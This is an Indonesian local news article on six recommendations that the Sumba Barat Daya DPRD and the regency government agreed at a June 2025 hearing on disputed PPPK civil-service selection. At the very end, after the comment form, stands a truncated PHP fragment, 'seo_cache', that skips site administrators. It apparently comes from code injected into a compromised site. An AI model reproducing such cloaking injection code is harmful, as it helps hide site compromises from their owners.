Parlemen

RDP terkait PPPK Hasilkan 6 Rekomendasi Masyarakat Diberi Ruang Sampaikan Data kepada DPRD SBD

×

RDP terkait PPPK Hasilkan 6 Rekomendasi Masyarakat Diberi Ruang Sampaikan Data kepada DPRD SBD

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Rapat Dengar Pendapat (RDP) antar komisi gabungan DPRD Kabupaten SBD dengan Pemkab SBD akhirnya berbuah kesepakatan.

RDP keempat ini digelar setelah tiga kali rapat serupa antara Pemkab SBD dan Komisi III DPRD SBD tidak membuahkan hasil.

Ketua DPRD Kabupaten SBD, Rudolf Radu Holo (tengah) didampingi Wakil Ketua DPRD Thomas Tanggu Dendo (kiri) dan Yusuf Bora (kanan) saat menyampaikan hasil RDP dalam sebuah konferensi pers. ( Foto Menara Sumba )

Dalam RDP yang dipimpin Ketua DPRD SBD, Rudolf Radu Holo pada Jumat (20/06/2025) ini menghasilkan 6 butir kesepakatan dalam bentuk rekomendasi.

Didampingi Wakil Ketua I DPRD SBD, Thomas Tanggu Dendo, SH dan Wakil Ketua II DPRD SBD, Yusuf Bora, ST, M.Si Ketua DPRD SBD, Rudolf Radu Holo menyampaikan keputusan RDP itu pada sebuah konferensi pers.

Dalam penyampaiannya, Rudolf Radu Holo menjelaskan, terkait polemik PPPK tahap 2 telah ada persamaan persepsi antara pemerintah dan DPRD dalam bentuk rekomendasi yang diputuskan pada Rapat Gabungan Komisi.

Ia berharap, apa yang disimpulkan oleh Rapat Gabungan Komisi bisa bermanfaat bagi masyarakat, terutama tenaga PPPK.

“Tentunya melalui perdebatan dalam Rapat Gabungan Komisi dan banyak hal yang disampaikan,” ujarnya.

Enam butir kesepakatan dalam bentuk rekomendasi yang disampaikan itu adalah :

Pertama, pemerintah melakukan verifikasi ulang data peserta seleksi PPPK pada tahap seleksi administrasi yang diduga tidak memenuhi syarat sesuai ketentuan yang berlaku.

Kedua, DPRD memberikan daftar peserta yang diduga bermasalah untuk diverifikasi ulang paling lambat tanggal 23 Juni 2025.

Diberi ruang kepada masyarakat yang memiliki data dan catatan untuk disampaikan kepada DPRD agar disinkronkan dengan pemerintah daerah.

Ketiga, pemerintah menyampaikan hasil verifikasi kepada DPRD selamat-lambatnya dua hari sebelum pengumuman hasil seleksi tahap 2.

Keempat, seluruh tenaga kontrak yang tidak lulus PPPK pada tahap 1 dan tahap 2 agar diperjuangkan oleh pemerintah dan DPRD kepada pemerintah pusat untuk diakomodir.

Lima, jika ditemukan terdapat peserta seleksi PPPK tahap 2 yang bermasalah, kepesertaannya dianulir sesuai ketentuan yang berlaku.

Keenam, pemerintah dan DPRD mengumumkan hasil verifikasi ulang kepada publik. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>